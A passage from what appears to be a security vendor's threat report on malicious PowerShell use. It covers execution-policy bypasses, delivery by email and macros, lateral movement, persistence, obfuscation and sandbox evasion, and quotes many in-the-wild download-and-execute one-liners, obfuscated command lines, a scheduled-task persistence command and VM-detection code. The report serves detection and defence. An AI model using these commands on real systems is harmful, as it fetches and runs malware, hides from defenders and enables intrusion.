responsible for 9.4 percent of all analyzed samples. Kotver came
second, representing 4.5 percent, and JS.Downloader came third, at four percent.
Through 2016, there was a sharp increase in the number of
samples we received. In the second quarter of 2016, our sandbox received 14 times as many PowerShell samples compared to the
first quarter. In the third quarter, we received 22 times as many
samples since the second quarter. The increased activity of JS.Downloader and Kotver is responsible for most of this spike,
but a general trend is still visible.
Over the last three months, we blocked an average of 466,028
emails with malicious JavaScript files per day. On endpoints,
we blocked an average of 211,235 Word macro downloaders
(W97M.Downloader) per day. Not all malicious JavaScript files and macros use PowerShell to download files, but we have seen
a steady increase in the framework’s usage.
Figure 2. Malicious PowerShell script submissions in
2016
DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JAN
2016
THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC8
This section will discuss the different
stages of a PowerShell attack, how the framework is used to support the attacker’s goals, and what challenges the attackers face.
EXECUTION POLICY
By default, Microsoft restricts PowerShell scripts with execution
policies. There are five options available that can be set for each
user or computer.
TRestricted
TAllSigned
T RemoteSigned
TUnrestricted
TBypass
These were not designed as a security feature, but rather to prevent users from accidentally executing scripts. Nonethe -
less, the policies help prevent social-engineering campaigns
from tricking users into running malicious scripts. When a user launches a .ps1 script, it will be opened in Notepad instead of being executed.
The default execution policy setting is Restricted, with the
exception of Windows Server 2012 R2 where it is Remote -
Signed. The Restricted policy only allows interactive PowerShell
sessions and single commands regardless of where the scripts
came from or if they are digitally signed and trusted.
Organizations may use different policies in their environments
depending on their needs. The policies can be set with different
scopes like MachinePolicy, UserPolicy, Process, CurrentUser or
LocalMachine. Microsoft provides more information about how to set the execution policy for each scope.
However, there are methods attackers can use to bypass the
execution policy. The most commonly observed ones are:
TPipe the script into the standard-in of powershell.exe, such
as with the echo or type command.
T Example:
TYPE myScript.ps1 | PowerShell.exe -noprofile -
TUse the command argument to execute a single command.
This will exclude it from the execution policy. The command could download and execute another script.
T Example: powershell.exe -command “iex(New-Object Net.
WebClient).DownloadString(‘http://[REMOVED]/myScript.
ps1’)”DIFFERENT PHASES
OF A POWERSHELL
ATTACK
powershell.exe (New-Object System.Net.WebClient).
DownloadFile($URL,$LocalFileLocation);Start-Process $LocalFileLocationTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC9
TUse the EncodedCommand argument to execute a single
Base64-encoded command. This will exclude the command
from the execution policy.
T Example: powershell.exe -enc [ENCODED COMMAND]
TUse the execution policy directive and pass either “bypass”
or “unrestricted” as argument.
T Example: powershell.exe -ExecutionPolicy bypass -File
myScript.ps1
If the attacker has access to an interactive PowerShell session,
then they could use additional methods, such as Invoke-Com-mand or simply cut and paste the script into the active session.
If the attacker can execute code on the compromised computer,
it’s likely they can modify the execution policy in the registry, which is stored under the following subkey:
T HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
SCRIPT EXECUTION
In the majority of instances, PowerShell scripts are used post-ex-ploitation as downloaders for additional payloads. While the
Restricted execution policy prevents users from running Power -
Shell scripts with the .ps1 extension, attackers can use other
extensions to allow their scripts to be executed.
PowerShell accepts a list of command-line flags. In most cases,
malicious scripts use the following arguments to evade detection and bypass local restrictions.
T-NoP/-NoProfile (ignore the commands in the profile file)
T -Enc/-EncodedCommand (run a Base64-encoded command)
T-W Hidden/-WindowStyle Hidden (hide the command
window)
T-Exec bypass/-ExecutionPolicy Bypass (ignore the
execution policy restriction)
T-NonI/-NonInteractive (do not run an interactive shell)
T-C/-Command (run a single command)
T-F/-File (run commands from a specified file)
Since PowerShell automatically appends the “*” character to the
flag argument, a lot of flag keyword abbreviations are possible.
For example, instead of using –EncodedCommand, a user could
input -enco or -encodedc as they are all interchangeable. This
makes it difficult to automatically identify command-line arguments and should be kept in mind when doing pattern
matching.
So far, we haven’t seen version arguments used in attacks, which
would allow an attacker to downgrade the computer’s Power -
Shell instance to an older version that doesn’t log as much as newer versions, e.g. “-version 2.0”. Neither have we yet seen malicious usage of the PSConsoleFile command, which loads
specified PowerShell console files.
In malicious PowerShell scripts, the most frequently used
commands and functions on the command line are:
T (New-Object System.Net.Webclient).DownloadString()
T(New-Object System.Net.Webclient).DownloadFile()
T -IEX / -Invoke-Expression
TStart-Process
The System.Net Webclient class is used to send data to or receive
data from remote resources, which is essential for most threats.
The class includes the DownloadFile method, which downloads content from a remote location to a local file and the Download-
String method which downloads content from a remote location
to a buffer in memory.
A typical command to download and execute a remote file looks
like the following:
powershell.exe (New-Object System.Net.WebClient).
DownloadFile($URL,$LocalFileLocation);Start-Process
$LocalFileLocation
The WebClient API methods DownloadString and DownloadFile
are not the only functions that can download content from a
remote location. Invoke-WebRequest, BitsTransfer, Net.Sockets.
TCPClient, and many more can be used in a similar way, but WebClient is by far the most commonly used one.
Once the payload is downloaded or de-obfuscated, the script
typically uses another method to run the additional code. There are multiple ways to start a new process from Power -
Shell. The most commonly used methods are Invoke-Expression and Start-Process. Invoke-Expression allows users to evaluate and run any dynamically generated command. This method is
typically used for scripts which are downloaded directly into
memory or deflated.
We have also seen threats using Invoke-WMIMethod and
New-Service, or creating a new COM object for WScript or the
shell application to execute the payload. This command looks like the following:
(New-object -com Shell.Application).ShellExecute()
Attackers can also call external functions directly such as Create -
Thread or drop batch files to execute them. For example, we have
seen a threat using the System.Diagnostics.ProcessStartInfo
object to create a new background process.
As previously mentioned, PowerShell can be used to load and
run any PE file directly from memory. Most scripts reuse the
ReflectivePEInjection module, which was introduced in 2013. One of the most commonly used payloads are password-dump -
ing tools.THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC10
The following examples show common PowerShell download-
ers’ invocations, which we have encountered in the wild:
powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net.Webclient).DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”
powershell.exe -window hidden -enc KABOAG[REMOVED]
Cmd.exe /C powershell $random = New-Object System.
Random; Foreach($url in @({http://[REMOVED]academy.
com/wp-content/themes/twentysixteen/st1.exe},{http://
[REMOVED].com.au/wp-content/plugins/espresso-social/st1.exe},{http://[REMOVED].net/wp-includes/st1.
exe},{http://[REMOVED]resto.com/wp-content/plugins/
wp-super-cache/plugins/st1.exe},{http://[REMOVED].ru/wp-content/themes/twentyeleven/st1.exe})) { try
{ $rnd = $random.Next(0, 65536); $path = ‘%tmp%\’
+ [string] $rnd + ‘.exe’; (New-Object System.Net.WebClient).DownloadFile($url.ToString(), $path);
Start-Process $path; break; } catch { Write-Host
$error[0].Exception } }
cmd.exe /c pow^eRSheLL^.eX^e
^-e^x^ec^u^tI^o^nP^OLIcY^ ByP^a^S^s -nOProf^I^L^e^
-^WIndoWST^YLe H^i^D^de^N ^(ne^w-O^BJe^c^T ^SY^STeM.Ne^T^.^w^eB^cLie^n^T^).^Do^W^nlo^aDfi^Le(^’http://
www. [REMOVED].top/user.php?f=1.dat’,^’%USERAPPDATA%.
eXe’);s^T^ar^T-^PRO^ce^s^S^ ^%USERAPPDATA%.exe
powershell.exe iex $env:nlldxwx
powershell.exe -NoP -NonI -W Hidden -Exec
Bypass -Command “Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.
DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\”[REMOVED]\” )))), [IO.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCII)).ReadToEnd();”
powershell.exe -ExecutionPolicy Unrestricted -File
“%TEMP%\ps.ps1”
How PowerShell threats use flags
In order to understand how frequently certain flags are used, we analyzed the samples that ran through our sandbox. We found
that the NoProfile flag was set for a third of all samples.
Nearly half (48 percent) of the samples used “iex $env:ran-
domname”; this is because the Kotver malware made up many
of the analyzed samples during that time period. This threat
family uses this environment variable to hide the script from command-line loggers. The DownloadFile function was used by 23 percent of samples in the first layer. Some scripts have multiple Base64-encoded layers, which were not counted in this analysis. The stealthier
function DownloadString was only used in less than one percent
of cases.
Around 89 percent used “Bypass” and 11 percent used
“Unrestricted” as arguments in combination with the Execu-
tionPolicy flag. Nearly all of the analyzed malware families did not randomize the order of the flags over different samples.
Table 2. Command line argument frequency
Command line argument Occurrence in all samples
NoProfile (87%) / NoP (13%) 33.77 percent
WindowStyle (64%) / Window (18%) /
Wind (<1%) / Win (<1%) / w (18%)23.76 percent
ExecutionPolicy (84%) / Exec (2%) / ex (8%) / ep (5%)23.43 percent
command 22.45 percent
NoLogo (89%) / NoL (11%) 18.98 percent
Inputformat 16.59 percent
EncodedCommand (9%) / Enc (91%) 6.58 percent
NonInteractive (7%) / nonI (93%) 3.82 percent
file 2.61 percent
Email vector
Email is one of the most common delivery vectors for PowerShell
downloaders. We have observed spam emails with .zip archives
containing files with malicious PowerShell scripts. These files
had the following extensions:
T .lnk
T .wsf (Windows Script file)
T .hta
T .mhtml
T .html
T .doc
T .docm
T .xls
T .xlsm
T .ppt
T .pptmTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC11
T .chm (compiled HTML help file)
T .vbs (Visual Basic script)
T .js (JavaScript)
T .bat
T .pif
T .pdf
T .jar
In the last six months, JavaScript was by far the most blocked
email attachment type. On average, we blocked 466,028 emails
with malicious JavaScript per day. The second most blocked file type was .html, followed by .vbs and .doc files. All of these file
types are capable of executing PowerShell scripts, directly or
indirectly.
If the user opens the attached files, the PowerShell script
launches. Some file types, like .lnk and .wsf, can directly execute
PowerShell. Others, like .hta, run a JavaScript or VBScript which drops and executes the PowerShell payload. Cmd.exe, WScript,
CScript, MShta, or WMI are common methods used to execute
the PowerShell script.
The archive file attached to the email may be password-protect -
ed to bypass gateway security tools. The password is included
in the body of the email. The attackers use social engineering to trick the user into opening the attachment and enabling its
content.
We analyzed the PowerShell scripts that were not blocked earlier
in the chain, for example through Intrusion Prevention System
(IPS) signatures or spam blockers. These scripts arrived on the
computer and tried to run. In total, Symantec’s Behavior-Based Protection observed 10,797 PowerShell script executions in
2016 so far. The total includes benign scripts as well, which of
course were not blocked. In total, 55 percent of the scripts that launched were started through cmd.exe on the command line. If
we only count malicious scripts, then that statistic rises, as 95
percent of them are executed through cmd.exe.
It should be noted that most macro downloaders are blocked
before they are executed on the targeted computer, so they
do not even manage to reach the point where our behavioral detection engine would encounter and block them.
Table 3. Script-invoking parent file ranking for both
benign and malicious PowerShell scripts
Parent file Overall usage
cmd.exe 54.99%
msiexec.exe 7.91%
excel.exe 5.39%
explorer.exe 4.11%Parent file Overall usage
msaccess.exe 3.74%
splunkd.exe 2.66%
windowsupdatebox.exe 2.48%
taskeng.exe 2.04%
wmiprvse.exe 1.86%
winword.exe 1.85%
Table 4. Script-invoking parent file ranking for malicious PowerShell scripts only
Parent file Overall usage
cmd.exe 95.04%
wmiprvse.exe 2.88%
powershell.exe 0.84%
explorer.exe 0.40%
windowsupdatebox.exe 0.22%
wscript.exe 0.15%
taskeng.exe 0.11%
winword.exe 0.07%
cab.exe 0.07%
java.exe 0.04%
Nemucod downloader
An example of a threat that used PowerShell is a JS.Nemucod
variant which downloaded the Locky ransomware
(Ransom.Locky ). The threat arrived through spam emails with
.zip attachments containing .wsf files. A massive amount of
these emails were sent in July 2016; Symantec blocked more
than 1.3 million of the emails per day for a single campaign.
The .wsf files used encrypted JavaScript to download the
payload. The files also leveraged a conditional compilation trick (@cc_on), which is a feature in JScript for Internet Explorer.
Since many security scanners do not know the @cc_on tag, they
interpreted it as a comment and ignored the code, therefore failing to detect the threat.
The group behind this campaign changed tactics at the
beginning of October by sending out emails with .lnk files. The emails claimed that the attachment was an invoice and used
social-engineering subject lines. Once the attachment was
executed, it ran a PowerShell command to download the Locky THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC12
malware to the temporary folder and executed it. The following
is an example of this PowerShell command:
powershell.exe -windowstyle hidden (new-object System.Net.WebClient.DownloadFile(‘http://[REMOVED]’,’%Temp%\[RANDOM].exe’);Start-Process
‘%Temp%\[RANDOM].exe’
At the end of October, we observed another shift in tactics back
to JavaScript. We blocked multiple spam runs with JavaScript
attachments, which hit 1.63 million blocked emails on the last
day of the campaign. In general, attackers change tactics when the block rates for their campaigns increase.
Office macros
Another common infection method is the use of malicious macros in Office documents, which made a comeback in 2016. Attackers
use social-engineering emails to trick the user into enabling
and executing the macro in the attachment. The malicious macro usually performs a few tests to verify it is running on a
computer rather than a security researcher’s virtual machine. It
may do this by running the Application.RecentFiles.Count call,
which checks which recent files have been opened. Once the
macro verifies the computer, it drops another script which could be a PowerShell script. Unfortunately this behavior on its own is
not malicious, as we have seen legitimate macros dropping and
executing benign scripts.
Furthermore, the macro code does not need to contain the
malicious script. We have seen malicious scripts stored in table
cells or metadata. The macro code then reads out this data and runs it, such as from the author property field as follows:
Author: powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.0.42:80/a’))”
Here is another example of the macro reading the author property field, only with more obfuscation:
Author: PoWErShELL -EXeCUTIo BYpasS -wIndOWSTy
HiDDEN -nolOgO -NOe -NoNiNTer -noPrOFil -COmm “ .
( \”{0}{1}\”-f’I’,’EX’) ( ( &( \”{0}{1}{2}\”-f ‘new’,’-o’,’bject’ ) ( \”{0}{2}{1}{3}\”-f’net’,’n’,’.webclie’,’t’) )…
Malicious macros may run a PowerShell executable with the dash (-) option and then write the rest of the script to standard input (stdin). As a result, some logging tools may not notice the
full script.
Scammers may also deliver .reg files which add the PowerShell
payload to the registry so that it will be executed on a certain
trigger, such as when the computer restarts. For this to work, the
user must ignore the warning that appears when they attempt to open a .reg file. The attackers could also use “regedit.exe /s” from another process to silently import the payload. So far we haven’t seen these techniques in use, as common methods still work.
Exploits
Exploit kits have also been experimenting with PowerShell. Recently, we have seen the Rig, Neutrino, Magnitude, and
Sundown exploit kits taking advantage of the Microsoft Internet
Explorer Scripting Engine Remote Memory Corruption Vulnera-bility (CVE-2016-0189). These attacks impact a flaw in the JScript
and VBScript engines to execute code in Internet Explorer. Some
of the campaigns used a PowerShell script instead of a VBScript to download and execute the file. The following is an example of
this script.
set shell=createobject(“Shell.Application”)
shell.ShellExecute “powershell.exe”, “-nop -w
hidden -c if(IntPtr]::Size -eq 4){b=’powershell.
exe’}else{$b=$env:windir+’\\\\syswow64\\\\
WindowsPowerShell\\\\v1.0\\\\powershell.exe’};
$s=New-Object System.Diagnostics.ProcessStartInfo;$s.
FileName=$b;$s.Arguments=’-nop -w hidden -c Import-
Module BitsTransfer;Start-BitsTransfer “ &nburl&”
c:\\”&nbExe&”;Invoke-Item c:\\”&nbExe&”;’;$s.UseShellExecute=$false;$p=[System.Diagnostics.
Process]::Start($s); “,””,”open”,0
In most cases, exploit kits gain no real benefit by changing
to PowerShell at the moment. As a result, they are currently
unlikely to take up PowerShell. However, if a website has a
command injection vulnerability, attackers could take advantage of the flaw to execute PowerShell commands on the web server
and compromise it.
LATERAL MOVEMENT
There are various methods available to run PowerShell
commands on a remote Windows computer. These techniques
allow attackers to spread across a whole enterprise environment
from one compromised computer. Attackers often move across a network to find valuable systems, such as mail or database
servers, depending on their final goal. They may use credentials
from an initial compromised computer on other systems, until they gain control of an account with higher privileges. Power -
Shell commands running on remote computers may not always be a sign of malicious behavior. System administrators use these methods to perform changes across their managed servers.
Lateral movement methods depend on the computer’s config-
uration and the user’s permissions. The attackers may also need to modify the settings for Windows Firewall, User Account
Control (UAC), DCOM, or Common Information Model Object THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC13
Manager (CIMOM). The following section discusses the most
common lateral movement methods encountered in the wild.
T Invoke-Command
T Enter-PSSession
T WMI/wmic/Invoke-WMImethod
T Profile injection
T Task Sheduler
T Common tools e.g. PsExec
Invoke-Command
PowerShell scripts can be run on remote computers with the help of the Invoke-Command command, for example:
Invoke-Command -ComputerName $RemoteComputer -ScriptBlock {Start-Process ‘C:\myCalc.exe’} -credential (Get-Credential)
A user can supply the argument to multiple remote computers and execute the command on multiple computers in parallel. The
new threads will run under the signed WsmProvHost.exe parent
process. Once the subprocess has ended, the WsmProvHost process will end as well.
Enter-PSSession
Another option is to enter an interactive remote PowerShell session using the PSSession command. The user can then
execute commands remotely through this session. They may
either use Enter-PSSession for an interactive shell or New-PS -
Session to create a new background session:
Enter-PSSession -ComputerName 192.168.1.2 -Credential $credentials
Running a PowerShell session (and WMI) remotely depends on
the Windows Remote Management (WinRM) service. The feature
has to be enabled manually through Enable-PSRemoting –Force or group policies. The available commands can be restricted
through constrained run spaces.
WMI
WMI can be used to run applications on remote computers. This
is not limited to PowerShell scripts, but since the application
is present on most Windows computers, it is easy to leverage
for this purpose. A typical command request looks like the following:
([WMICLASS]”\\$IP\ROOT\CIMV2:win32_process”).Create($Command2run)The same method works with the WMI command-line tool as well.
wmic /NODE:[SERVER NAME] process call create “powershell.exe -Enc ‘[PAYLOAD]‘”
Furthermore PowerShell supports WMI objects, allowing scripts
to directly use WMI’s functionality without needing to call
external command lines.
Get-WmiObject -Namespace “root\cimv2” -Class
Win32_Process -Impersonation 3 -Credential MYDOM\
administrator -ComputerName $Computer
Profile injection
If the attacker has write access to any PowerShell profile files on the remote computer, then they can add malicious code into
them. This method still needs to trigger the malicious script’s
execution by starting PowerShell, but in some environments, there are regular administration tasks performed which would
execute the script.
Other methods
Other tactics include the use of system or public tools, such as
Task Sheduler or PsExec from Microsoft. In order to use PsExec
or when mounting a remote computer, the attacker often needs
valid credentials from a user. The most common way to get these details is by using the Mimikatz tool to dump local passwords.
There are many PowerShell implementations of this tool, for example the Invoke-Mimikatz cmdlet.
PERSISTENCE
Most common cybercriminals and some targeted attackers attempt to stay on the compromised computers by creating a
persistent load point which restarts the back door when Windows
restarts. Load points may not be present in some sophisticated campaigns, as the attackers may decide to only run their threats
in memory for a short time period or use stolen credentials to
regain access to the computer at a later date. However in general, load points make a good starting point for investigations.
There are many ways to execute code each time Windows
restarts. The most common ones seen in relation to PowerShell
are:
T Registry: Attackers can store the whole script in the
registry, making the infection fileless. As there is no
ordinary script file on disk, the threat is difficult to detect.
Registry run keys are the most common load points, but other load points such as services work as well. Having
access to the registry allows the attacker to set the
execution policy as well, as it is stored in the registry.THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC14
T Scheduled tasks: A new task can be created that will
execute a PowerShell command at specific trigger
moments. For example: schtasks /create /tn Trojan /
tr “powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c ‘IEX ((new-object
net.webclient).downloadstring(‘’[REMOVED]’’))’” /sc
onstart /ru System
T Startup folder: A small script file placed in the Startup
folder can be used for persistence.
T WMI: WMI can be used to locally or remotely execute
scripts. It is more powerful when used in combination
with PowerShell. An attacker can create a filter for any
specific event and create a consumer method to trigger the malicious script on these events. For more on WMI threats,
read this BlackHat research paper by Graeber.
T Group policies (GPOs): GPOs can be used to add a load
point for a back door PowerShell script. This can be
achieved in a stealthy way by modifying existing policies.
T Infect local profiles: Attackers can place malicious code in
any of the six available PowerShell profiles or create their
own. The code will be executed when PowerShell starts. In
order to trigger the infected profile, a benign PowerShell script can be placed in any of the previously discussed load
points.
Poweliks
One of the most prominent examples of registry run key
persistence is Trojan.Poweliks from 2014, which uses Power -
Shell to create a fileless persistent load point. After this, Trojan.Kotver started to use similar tricks and it is one of the most active threats today.
Poweliks creates a registry run key with a non-ASCII character
as a name. This prevents normal tools from being able to display this value. The threat also modifies access rights, making the
key difficult to remove.
The registry entry uses the legitimate rundll32.exe to execute
a small JavaScript embedded in the registry key. The JavaScript
uses a WScript object to decrypt a PowerShell script from another
registry key and runs it. The PowerShell loads a watchdog DLL and other payloads. These techniques allow Poweliks to stay active on the computer without writing a common file on disk,
which would expose it to detection from traditional security
tools.Figure 3. Poweliks persistence execution chain
THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC15
Scripts are easy to obfuscate.
Simple random variable names and string concatenation can often be enough to fool basic static signature-matching. With PowerShell, an attacker can use many rich obfuscation tricks.
Daniel Bohannon at Derbycon 2016 gave an excellent talk on
obfuscation methods. He also created the obfuscator module,
Invoke-Obfuscation, which automates most of these methods.
The following is a list of some of the discussed obfuscation methods:
T Mixed upper and lower case letters can be used, as commands are not case sensitive.
TExample: (neW-oBjEct system.NeT.WeBclieNT).
dOWNloadfiLe
T “Get-” can be omitted, as it is automatically prepended to commands if not specified.
TExample: Get-Command is the same as Command. T “System.” can be omitted, as it is automatically prepended to objects if not specified.
TExample: System.Net.Webclient is the same as Net.
WebClient.
T Strings can be concatenated, including from variables, allowing for single or double quotes.
TExample: (New-Object Net.WebClient).
DownloadString(“ht”+’tp://’+$url)
T Whitespace can be inserted at various parts of the commands.
TExample: ( New-Object Net.WebClient ).
DownloadString( $url)
T Multiple commands can be used to do similar things.
TExample: DownloadString could be replaced by OpenRead
or Invoke-WebRequest
T Variables can be set to objects and then later be used in the command.
TExample: $webcl=New-Object Net.Webclient; $webcl.
DownloadString($url)
T Single or double quotes can surround member arguments.
TExample: ‘DownloadFile’OBFUSCATIONTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC16
T With the exception of the 14 special cases, the escape
character ` can be used in front of a character with no
change in the result. A similar trick can used with the
escape character ^ when starting PowerShell from cmd.exe.
TExample: (new-object net.
webclient).”d`o`wnl`oa`dstr`in`g”($url)
T Get-Command can be used to search for a command and return an object that can be invoked with & or .
TExample: &(Get-Command New-Ob*)
T Many commands have aliases that can be used.
TExample: GCM instead of Get-Command
T Pipes | can be used to change the order on the command line.
T Instead of Invoke-Command, .Invoke() can be used.
TExample: (New-Object Net.WebClient).DownloadString.
invoke($url)
T Some arguments can be replaced with their numerical representation.
TExample: “-window 1” instead of “-window hidden”
T Old syntax from PowerShell 1.0 can be used.
TExample: Scriptblock conversion
T Strings can be replaced with encoded strings (hex, ASCI, octal)
TExample: [char]58 for “:”
T String manipulations can be applied. For example, replacing garbage characters, splitting on arbitrary delimiters,
reversing strings twice
TExample: (New-Object Net.WebClient).
Downloadstring((“http://myGoodSite.tld” -replace “Good” “attacker”))
T Strings can be formatted using the “-f” operator
TExample: (New-Object Net.WebClient).
Downloadstring((“http://{2}{1}”-f ‘no’,’.TLD’,’myAttackerSite’))
T Strings can be compressed/deflated and encoded/decoded,
for example with Base64 UTF8.
T Strings can be encrypted, for example with XOR.
In 2010, a researcher in Japan used these methods to write a
Hello World script entirely out of symbols, relying mostly on
dynamic Invoke-Expressions. This demonstrates how obfusca-tion can make scripts more cryptic. Figure 4. Hello World script written in symbols
These methods can be combined and applied recursively, gener -
ating scripts that are deeply obfuscated on the command line.
As with any obfuscation method, it is possible to apply multiple
levels of obscurity that need to be processed before analysis can start. As a result, pure string-matching is unable to detect
all malicious scripts. If Script Blocking Logging and Module
Logging are enabled, then some of the obfuscation will be removed before the commands are logged.
The following is an example of an obfuscated command line
generated by an automated attack tool. It uses the ^ escape character to obfuscate the cmd.exe command line, and mixed-
case letters and extra white space for PowerShell script
obfuscation. The command-line argument’s name and order are always the same, allowing its order to be mapped to a specific
tool.
%SYSTEM%\cmd.exe /c poWerSheLL.exe -eXecutio^nPOlIcy
ByPasS^ -n^op^rO^fi^l^e -wIN^dOW^s^tyLe^
hI^d^den^ (n^ew^-^OB^Ject^ ^s^Y^S^tem^.ne^t.
we^Bcl^i^ent^)^.^do^wnlo^adf^Ile(^’http://[REMOVED]/user.php?f=1.dat’,’%USERAPPDATA%.eXe’);^S^tart-
^PR^O^ce^SS^ %USERAPPDATA%.eXe
It should be noted that out of 111 active threat families that use
PowerShell, only eight percent used any obfuscation such as
mixed-case letters.
An example that we came across in 2014 is a Backdoor.Trojan
variant that started from a simple PowerShell Base64 Encod-
edCommand . The script then deflates a compressed script
block that appeared in the first stage and executes it through
Invoke-Expression. This in turn generated a script that used the
CompileAssemblyFromSource command to compile and execute
on-the-fly embedded code. The compiled code will then try to execute rundll32.exe in a suspended state, inject malicious code
into the newly created process, and restart the rundll32 thread.
These three layers of obfuscation need to be unraveled before the final payload is executed.THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC17
ANTI-OBFUSCATION
When executed, most malicious PowerShell scripts use the
ExecutionPolicy and NoProfile parameters. These indicators
are good starting points to find malicious scripts in your envi-
ronment. Instead of searching for the ExecutionPolicy keyword, which might be shortened, search for “bypass” and “unrestrict -
ed” within PowerShell commands. In most cases, if a script is obfuscated, it is likely to be a malicious script, as system admin-istrators seldom obfuscate their scripts in their daily work.
While a lot of obfuscation might fool automated analysis tools,
it sticks out to an observant security analyst.
A few tools are capable of tokenizing script. PowerShell itself
has a good tokenizing method to break up commands for
further analysis. This technique can be taken one step further; Lee Holmes discussed how the frequency of commands, special
characters, and the entropy of a PowerShell script itself could
be used to spot obfuscation. For example, a high number of quotation marks or curly brackets suggests that a command may
have been obfuscated.
If extended logging is enabled, then most of the string obfus-
cation will be removed before logging. However, this happens
at runtime so the malicious script may have already executed
before it is detected. A combination of proactive methods and log-monitoring is advised.
DISGUISING SCRIPTS
There are multiple tricks that allow PowerShell scripts to be executed without directly using powershell.exe. These tech-
niques can fool security tools that block threats based on the
use of powershell.exe or systems that blacklist powershell.exe. The main two methods work with the .NET framework (as used
by nps and Powerpick ) or with a separate run space (as used by
p0wnedshell and PSattack ). There are various tools, such as
PS2EXE, which create a standalone executable that will run the PowerShell script with the help of a .NET object.
Another technique involves the benign tool MSBuildShell, which
uses the MSBuild tool from .NET with the “System.Manage -
ment.Automation” function to create a PowerShell instance. MSBuildShell can start a PowerShell instance with the following command line:
msbuild.exe C:\MSBuildShell.csproj
Other attackers try to confuse detection tools by adding legit -
imate commands like ping into the execution chain. These
garbage commands will also delay the execution of the payload.
For example, the following command line was seen in a down-loader script:
%SYSTEM%\cmd.exe /c ping localhost & powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile(‘http://[REMOVED]/wp-admin/f915df4a50447.exe’,’%USERAPPDATA%cNZ49.exe’); stARt-
ProcEss ‘%USERAPPDATA%cNZ49.exe’
A malicious script can also use the echo and type commands,
and send content to pipes or even copy the payload to notepad
or the clipboard. The script then uses another instance to
execute the payload from these locations. These actions breaks the execution chain, as it is not the same PowerShell instance
running the payload in the end. Attackers often use modular
approaches to confuse pure behavior-based detection measures, as the malicious action is spread over multiple processes.
It is also possible to automate other applications from within
PowerShell. A script can, for example, use COM objects or SendKeys to force another application to perform the network
connection. For instance, a PowerShell script can creates an
Internet Explorer COM object and make it retrieve a URL. The content of that web page can then be loaded inside the script and
parts of it can be executed. Logs will show the standard browser
making an internet connection, which may not seem suspicious.
Another common method attackers use to avoid launching
powershell.exe is to store the script in an environment variables
and then call the script from the variable. Trojan.Kotver exten-sively uses this method. The command line will still show up in
the PowerShell log file, but in many cases, the actual script that
gets executed may be missing. For example:
cmd.exe /c “set myName=[COMMAND] && powershell IEX
$env:myName”
If the attacker doesn’t control how the script is executed, then
the script could try to hide its own visible window once it’s
launched. This was shown by security researcher Jeff Wouters
in 2015. Even though the script window will be visible for a moment, it might go unnoticed during this time. An example of
this script is as follows:
Add-Type -Name win -MemberDefinition
‘[DllImport(“user32.dll”)] public static extern bool
ShowWindow(int handle, int state);’ -Namespace native
[native.win]::ShowWindow(([System.Diagnostics.
Process]::GetCurrentProcess() | Get-Process).
MainWindowHandle,0)
We have also seen attackers using so-called “schizophrenic”
files, which are valid in multiple file formats. For example a
file can be a valid HTML, WinRAR, and PowerShell script all at
the same time. Depending on how the script is invoked, it will generate different results. Such behavior can confuse automated
security systems, which may help the threat evade detection. In
a similar idea, a PowerShell script that hides inside certificates was recently seen. THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC18
As other researchers have suggested, the SecureString feature
in PowerShell or the Cryptographic Message Syntax allows
a command to be sent in an encrypted form. This makes the
command difficult to analyze in transit. The password can be supplied later to decrypt and run the script.
Basic obfuscation techniques can’t prevent the threat from
being analyzed, but they can make detection and forensic efforts much harder. However, the use of encryption can seriously
hamper or even prevent analysis. One way an attacker could use
encryption is by using environmental data for payload encryp -
tion. An example of this in use—which was considered to be
ground-breaking at the time—was by the W32.Gauss malware.
The threat would only decrypt the payload if the file path is verified and some other conditions were met on the target
computer. If a security researcher’s virtual machine does not
match the conditions of a targeted computer, then the malware would not decrypt and consequently the researcher would not
be able to analyze the malware.
The Ebowla tool provides this functionality for various payloads
including PowerShell scripts. These scripts will only run and
reveal their payload if specific conditions, like a predefined user
name, are met. This allows for targeted infections, which are difficult to filter out with generic detection methods.
Hiding from virtual machine environments
PowerShell can be used to check if the script is run inside a virtual machine environment (VME). If the script is running
on a VME, it stops executing, as the VME could be a sandbox
environment. The most common VME-evading method we have encountered is checking for processes with names that suggests
a virtual environment, for example:
(get-process|select-string -pattern
vboxservice,vboxtray,proxifier,prl_cc,prl_
tools,vmusrvc,vmsrvc,vmtoolsd).count
A script can also check for environmental artifacts, logged-in
users, or any other widely known method of detecting if it is
being analyzed on a sandbox.Figure 5. PowerShell function to detect VMEs
THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC19
We have seen many variations of
common malware using PowerShell. The following section discusses a few examples.
RANSOMWARE
Ransomware is still a common and profitable threat. Besides
some variants written in JavaScript and Google’s Go program-
ming language, there have been ransomware threats written
entirely in PowerShell.
Ransom.PowerWare is one example. This ransomware is usually
distributed as a malicious macro in a Microsoft Office document.
Once the macro is executed, it uses cmd.exe to run multiple PowerShell scripts. Other variants of PowerWare have been
distributed through .hta attachments.
The Word document macro triggers on Document_Open. The
macro then uses the shell function to start a command prompt that will execute the PowerShell command. The following
argument is passed to the shell.
“cmd /K “ + “pow” + “eR” & “sh” + “ell.e” + “x”
+ “e -WindowStyle hiddeN -ExecuTionPolicy BypasS
-noprofile (New-Object System.Net.WebClient).DownloadFile(‘http://[REMOVED]/file.php’,’%TEMP%\Y.
